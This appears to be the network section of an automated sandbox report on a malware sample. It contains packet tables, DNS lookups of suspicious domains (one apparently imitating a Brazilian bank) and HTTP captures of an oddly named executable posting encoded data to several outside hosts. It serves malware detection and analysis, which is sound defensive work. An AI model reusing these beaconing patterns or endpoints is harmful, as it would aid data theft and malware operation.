Sep 9, 2024 10:44:07.095374107 CEST	80	49299	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:08.473362923 CEST	80	49299	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:08.473392010 CEST	80	49299	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:08.473401070 CEST	80	49299	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:08.473402023 CEST	80	49299	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:08.473468065 CEST	49299	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:08.473627090 CEST	80	49299	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:08.473668098 CEST	49299	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:08.591811895 CEST	49299	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:09.612854004 CEST	49300	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:09.618186951 CEST	80	49300	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:09.618274927 CEST	49300	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:09.628391027 CEST	49300	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:09.633264065 CEST	80	49300	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:10.610197067 CEST	80	49300	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:10.610253096 CEST	80	49300	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:10.610266924 CEST	80	49300	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:10.610281944 CEST	80	49300	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:10.610292912 CEST	80	49300	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:10.610306978 CEST	80	49300	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:10.610337019 CEST	49300	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:10.610394001 CEST	49300	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:10.610449076 CEST	49300	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:10.613841057 CEST	49300	80	192.168.2.5	218.247.68.184
Sep 9, 2024 10:44:10.618653059 CEST	80	49300	218.247.68.184	192.168.2.5
Sep 9, 2024 10:44:16.049402952 CEST	49301	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:16.054363966 CEST	80	49301	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:16.054513931 CEST	49301	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:16.067468882 CEST	49301	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:16.072314024 CEST	80	49301	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:16.512079954 CEST	80	49301	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:16.512154102 CEST	49301	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:17.599751949 CEST	49301	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:17.604671001 CEST	80	49301	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:18.613606930 CEST	49302	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:18.618577957 CEST	80	49302	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:18.618652105 CEST	49302	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:18.641972065 CEST	49302	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:18.646919966 CEST	80	49302	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:19.080466032 CEST	80	49302	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:19.080569029 CEST	49302	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:20.591645956 CEST	49302	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:20.596524000 CEST	80	49302	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:21.610765934 CEST	49303	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:21.615699053 CEST	80	49303	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:21.618951082 CEST	49303	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:21.630629063 CEST	49303	80	192.168.2.5	13.248.169.48
Sep 9, 2024 10:44:21.635478020 CEST	80	49303	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:21.635577917 CEST	80	49303	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:22.087193966 CEST	80	49303	13.248.169.48	192.168.2.5
Sep 9, 2024 10:44:22.092878103 CEST	49303	80	192.168.2.5	13.248.169.48

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 9, 2024 10:41:32.520958900 CEST	53	55507	1.1.1.1	192.168.2.5
Sep 9, 2024 10:41:46.033127069 CEST	59495	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:41:46.299659967 CEST	53	59495	1.1.1.1	192.168.2.5
Sep 9, 2024 10:42:01.908678055 CEST	57255	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:42:02.074809074 CEST	53	57255	1.1.1.1	192.168.2.5
Sep 9, 2024 10:42:15.205341101 CEST	50571	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:42:15.713485003 CEST	53	50571	1.1.1.1	192.168.2.5
Sep 9, 2024 10:42:29.283104897 CEST	64646	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:42:42.924719095 CEST	57252	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:42:42.946768045 CEST	53	57252	1.1.1.1	192.168.2.5
Sep 9, 2024 10:42:56.346714020 CEST	57844	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:42:56.513562918 CEST	53	57844	1.1.1.1	192.168.2.5
Sep 9, 2024 10:43:09.658834934 CEST	62169	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:43:09.671875954 CEST	53	62169	1.1.1.1	192.168.2.5
Sep 9, 2024 10:43:17.736496925 CEST	63686	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:43:17.853960991 CEST	53	63686	1.1.1.1	192.168.2.5
Sep 9, 2024 10:43:25.923499107 CEST	58727	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:43:26.354434967 CEST	53	58727	1.1.1.1	192.168.2.5
Sep 9, 2024 10:43:34.408966064 CEST	52715	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:43:34.440502882 CEST	53	52715	1.1.1.1	192.168.2.5
Sep 9, 2024 10:43:47.719979048 CEST	51358	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:43:47.731363058 CEST	53	51358	1.1.1.1	192.168.2.5
Sep 9, 2024 10:44:00.860948086 CEST	58941	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:44:01.860850096 CEST	58941	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:44:01.952042103 CEST	53	58941	1.1.1.1	192.168.2.5
Sep 9, 2024 10:44:01.952053070 CEST	53	58941	1.1.1.1	192.168.2.5
Sep 9, 2024 10:44:15.626735926 CEST	60480	53	192.168.2.5	1.1.1.1
Sep 9, 2024 10:44:16.046555042 CEST	53	60480	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 9, 2024 10:41:46.033127069 CEST	192.168.2.5	1.1.1.1	0x3275	Standard query (0)	www.clientebradesco.online	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:42:01.908678055 CEST	192.168.2.5	1.1.1.1	0x262f	Standard query (0)	www.myim.cloud	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:42:15.205341101 CEST	192.168.2.5	1.1.1.1	0xf30e	Standard query (0)	www.d55dg.top	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:42:29.283104897 CEST	192.168.2.5	1.1.1.1	0x7478	Standard query (0)	www.arlon-commerce.com	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:42:42.924719095 CEST	192.168.2.5	1.1.1.1	0xcb92	Standard query (0)	www.fineg.online	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:42:56.346714020 CEST	192.168.2.5	1.1.1.1	0x2dca	Standard query (0)	www.asian-massage-us.xyz	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:43:09.658834934 CEST	192.168.2.5	1.1.1.1	0x5771	Standard query (0)	www.thriveline.online	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:43:17.736496925 CEST	192.168.2.5	1.1.1.1	0x62a7	Standard query (0)	www.aflaksokna.com	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:43:25.923499107 CEST	192.168.2.5	1.1.1.1	0x7f6b	Standard query (0)	www.esistiliya.online	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:43:34.408966064 CEST	192.168.2.5	1.1.1.1	0x7ed	Standard query (0)	www.qiluqiyuan.buzz	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:43:47.719979048 CEST	192.168.2.5	1.1.1.1	0xa3a2	Standard query (0)	www.omexai.info	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:44:00.860948086 CEST	192.168.2.5	1.1.1.1	0xc4ec	Standard query (0)	www.dfbio.net	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:44:01.860850096 CEST	192.168.2.5	1.1.1.1	0xc4ec	Standard query (0)	www.dfbio.net	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:44:15.626735926 CEST	192.168.2.5	1.1.1.1	0x70fd	Standard query (0)	www.healthsolutions.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		96.126.123.244	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		72.14.178.174	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		45.33.2.79	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		198.58.118.167	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		72.14.185.43	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		45.33.18.44	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		45.33.20.235	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		45.33.23.183	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		173.255.194.134	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		45.33.30.197	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		45.79.19.196	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:41:46.299659967 CEST	1.1.1.1	192.168.2.5	0x3275	No error (0)	www.clientebradesco.online		45.56.79.23	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:42:02.074809074 CEST	1.1.1.1	192.168.2.5	0x262f	No error (0)	www.myim.cloud		199.59.243.226	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:42:15.713485003 CEST	1.1.1.1	192.168.2.5	0xf30e	No error (0)	www.d55dg.top	d55dg.top		CNAME (Canonical name)	IN (0x0001)	false
Sep 9, 2024 10:42:15.713485003 CEST	1.1.1.1	192.168.2.5	0xf30e	No error (0)	d55dg.top		154.23.184.240	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:42:29.607108116 CEST	1.1.1.1	192.168.2.5	0x7478	No error (0)	www.arlon-commerce.com	whois-unverified.domainbox.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 9, 2024 10:42:42.946768045 CEST	1.1.1.1	192.168.2.5	0xcb92	No error (0)	www.fineg.online		162.0.239.141	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:42:56.513562918 CEST	1.1.1.1	192.168.2.5	0x2dca	No error (0)	www.asian-massage-us.xyz		199.59.243.226	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:43:09.671875954 CEST	1.1.1.1	192.168.2.5	0x5771	Server failure (2)	www.thriveline.online	none	none	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:43:17.853960991 CEST	1.1.1.1	192.168.2.5	0x62a7	Server failure (2)	www.aflaksokna.com	none	none	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:43:26.354434967 CEST	1.1.1.1	192.168.2.5	0x7f6b	Name error (3)	www.esistiliya.online	none	none	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:43:34.440502882 CEST	1.1.1.1	192.168.2.5	0x7ed	No error (0)	www.qiluqiyuan.buzz		161.97.168.245	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:43:47.731363058 CEST	1.1.1.1	192.168.2.5	0xa3a2	No error (0)	www.omexai.info	omexai.info		CNAME (Canonical name)	IN (0x0001)	false
Sep 9, 2024 10:43:47.731363058 CEST	1.1.1.1	192.168.2.5	0xa3a2	No error (0)	omexai.info		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:43:47.731363058 CEST	1.1.1.1	192.168.2.5	0xa3a2	No error (0)	omexai.info		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:44:01.952042103 CEST	1.1.1.1	192.168.2.5	0xc4ec	No error (0)	www.dfbio.net		218.247.68.184	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:44:01.952053070 CEST	1.1.1.1	192.168.2.5	0xc4ec	No error (0)	www.dfbio.net		218.247.68.184	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:44:16.046555042 CEST	1.1.1.1	192.168.2.5	0x70fd	No error (0)	www.healthsolutions.top		13.248.169.48	A (IP address)	IN (0x0001)	false
Sep 9, 2024 10:44:16.046555042 CEST	1.1.1.1	192.168.2.5	0x70fd	No error (0)	www.healthsolutions.top		76.223.54.146	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.clientebradesco.online

www.myim.cloud

www.d55dg.top

www.fineg.online

www.asian-massage-us.xyz

www.qiluqiyuan.buzz

www.omexai.info

www.dfbio.net

www.healthsolutions.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49267	96.126.123.244	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:41:46.327801943 CEST	478	OUT	GET /xsf1/?m8=721TkfhHN46HeBfP&MHZDTHg=/2dxOCr9e8Tu47VkPNo5dAI1prtgpWpDtJEt3c2Foz5fpzeoRIujBVjrDMsKHc70+0K9iVKA7vE9ZFCiM5OaHQ9FJ0pFhf/XXW3oapof9+b9s/jcWq68S+C05ai3yP+Fag== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close Host: www.clientebradesco.online User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Sep 9, 2024 10:41:46.855036020 CEST	1236	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Mon, 09 Sep 2024 08:41:46 GMT content-type: text/html transfer-encoding: chunked connection: close Data Raw: 34 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 37 30 2e 63 6c 69 65 6e 74 65 [TRUNCATED] Data Ascii: 495<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <noscript> <meta http-equiv="refresh" content="0;url=http://www70.clientebradesco.online/" /> </noscript> <meta http-equiv="refresh" content="5;url=http://www70.clientebradesco.online/" /> </head> <body onload="do_onload()"> <script type="text/javascript"> function do_onload() { window.top.location.href = "http://www.clientebradesco.online/xsf1?gp=1&js=1&uuid=1725871306.0083265548&other_args=eyJ1cmkiOiAiL3hzZjEiLCAiYXJncyI6ICJtOD03MjFUa2ZoSE40NkhlQmZQJk1IWkRUSGc9LzJkeE9DcjllOFR1NDdWa1BObzVkQUkxcHJ0Z3BXcER0SkV0M2MyRm96NWZwemVvUkl1akJWanJETXNLSGM3MCswSzlpVktBN3ZFOVpGQ2lNNU9hSFE5RkowcEZoZi9YWFczb2Fwb2Y5K2I5cy9qY1dxNjhTK0MwNWFpM3lQK0ZhZz09IiwgInJlZmVyZXIiOiAiIiwgImFjY2VwdCI6ICJ0ZXh0 [TRUNCATED]
Sep 9, 2024 10:41:46.855057001 CEST	105	IN	Data Raw: 62 57 46 6e 5a 53 39 68 64 6d 6c 6d 4c 47 6c 74 59 57 64 6c 4c 33 64 6c 59 6e 41 73 4b 69 38 71 4f 33 45 39 4d 43 34 34 49 6e 30 3d 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 Data Ascii: bWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44In0="; } </script> </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49268	199.59.243.226	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:02.094064951 CEST	715	OUT	POST /12ts/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 208 Host: www.myim.cloud Origin: http://www.myim.cloud Referer: http://www.myim.cloud/12ts/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 53 49 63 7a 6f 69 6f 46 65 45 79 56 62 51 39 67 56 68 57 45 54 6a 2f 44 65 48 31 73 63 6e 64 34 69 4d 45 48 7a 73 4e 64 52 65 38 6a 46 7a 55 46 42 2f 77 55 5a 57 38 52 6a 6f 30 38 38 55 68 34 36 30 4b 67 73 32 39 38 68 39 67 6f 7a 43 73 65 69 32 4f 6b 42 5a 5a 71 69 71 6f 49 48 71 65 69 77 77 6e 31 6f 44 46 51 35 51 70 70 4c 4b 67 42 66 64 42 32 64 78 51 68 7a 44 56 6f 36 31 6b 56 42 68 76 32 71 56 52 65 67 4e 6a 6b 66 36 4e 58 4f 2f 6c 56 37 69 6b 6d 62 4f 55 4d 52 74 39 2f 51 7a 47 66 30 4f 33 54 79 6f 4c 68 79 63 2f 46 48 59 62 55 67 36 32 32 30 72 51 74 4c 58 35 5a 78 6d 35 67 4e 74 30 3d Data Ascii: MHZDTHg=SIczoioFeEyVbQ9gVhWETj/DeH1scnd4iMEHzsNdRe8jFzUFB/wUZW8Rjo088Uh460Kgs298h9gozCsei2OkBZZqiqoIHqeiwwn1oDFQ5QppLKgBfdB2dxQhzDVo61kVBhv2qVRegNjkf6NXO/lV7ikmbOUMRt9/QzGf0O3TyoLhyc/FHYbUg6220rQtLX5Zxm5gNt0=
Sep 9, 2024 10:42:02.542252064 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 09 Sep 2024 08:42:01 GMT content-type: text/html; charset=utf-8 content-length: 1106 x-request-id: 40c038fa-2baa-46f0-bed2-68db618963de cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_itJ5wTtca940PEFbw6OEW6TK0gd5SSm1dnv3u9dGB8Z4aZofyzywiFF0XtFVO1XfTe9BDxnofVlSGU4eCMcEkA== set-cookie: parking_session=40c038fa-2baa-46f0-bed2-68db618963de; expires=Mon, 09 Sep 2024 08:57:02 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 69 74 4a 35 77 54 74 63 61 39 34 30 50 45 46 62 77 36 4f 45 57 36 54 4b 30 67 64 35 53 53 6d 31 64 6e 76 33 75 39 64 47 42 38 5a 34 61 5a 6f 66 79 7a 79 77 69 46 46 30 58 74 46 56 4f 31 58 66 54 65 39 42 44 78 6e 6f 66 56 6c 53 47 55 34 65 43 4d 63 45 6b 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_itJ5wTtca940PEFbw6OEW6TK0gd5SSm1dnv3u9dGB8Z4aZofyzywiFF0XtFVO1XfTe9BDxnofVlSGU4eCMcEkA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 9, 2024 10:42:02.542270899 CEST	559	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDBjMDM4ZmEtMmJhYS00NmYwLWJlZDItNjhkYjYxODk2M2RlIiwicGFnZV90aW1lIjoxNzI1ODcxMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49269	199.59.243.226	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:42:04.643083096 CEST	735	OUT	POST /12ts/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 228 Host: www.myim.cloud Origin: http://www.myim.cloud Referer: http://www.myim.cloud/12ts/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 53 49 63 7a 6f 69 6f 46 65 45 79 56 4a 41 4e 67 58 43 4f 45 55 44 2f 45 43 58 31 73 56 48 64 38 69 4d 49 48 7a 74 35 4e 52 74 59 6a 45 57 6f 46 41 36 63 55 55 32 38 52 37 34 30 44 32 30 68 7a 36 30 48 66 73 30 35 38 68 2b 63 6f 7a 48 6f 65 69 6e 4f 6a 42 4a 5a 6b 70 4b 6f 4b 4a 4b 65 69 77 77 6e 31 6f 44 68 32 35 51 78 70 49 35 34 42 4e 73 42 31 63 78 51 69 30 44 56 6f 77 56 6b 52 42 68 76 49 71 51 4a 77 67 50 62 6b 66 37 39 58 4f 4f 6c 53 79 69 6b 6f 52 75 56 67 55 64 6c 36 56 79 61 66 78 74 4f 6d 69 4a 72 64 7a 71 53 76 64 36 54 38 7a 61 61 4f 6b 34 59 61 61 6e 59 77 72 46 70 51 54 36 6a 4b 48 59 62 6c 32 68 34 62 4b 6b 77 44 54 46 6e 36 43 2b 6b 74 Data Ascii: MHZDTHg=SIczoioFeEyVJANgXCOEUD/ECX1sVHd8iMIHzt5NRtYjEWoFA6cUU28R740D20hz60Hfs058h+cozHoeinOjBJZkpKoKJKeiwwn1oDh25QxpI54BNsB1cxQi0DVowVkRBhvIqQJwgPbkf79XOOlSyikoRuVgUdl6VyafxtOmiJrdzqSvd6T8zaaOk4YaanYwrFpQT6jKHYbl2h4bKkwDTFn6C+kt
Sep 9, 2024 10:42:05.095016956 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 09 Sep 2024 08:42:04 GMT content-type: text/html; charset=utf-8 content-length: 1106 x-request-id: 5566bf49-2873-4c54-81e0-d9e1b9fa4ef8 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_itJ5wTtca940PEFbw6OEW6TK0gd5SSm1dnv3u9dGB8Z4aZofyzywiFF0XtFVO1XfTe9BDxnofVlSGU4eCMcEkA== set-cookie: parking_session=5566bf49-2873-4c54-81e0-d9e1b9fa4ef8; expires=Mon, 09 Sep 2024 08:57:05 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 69 74 4a 35 77 54 74 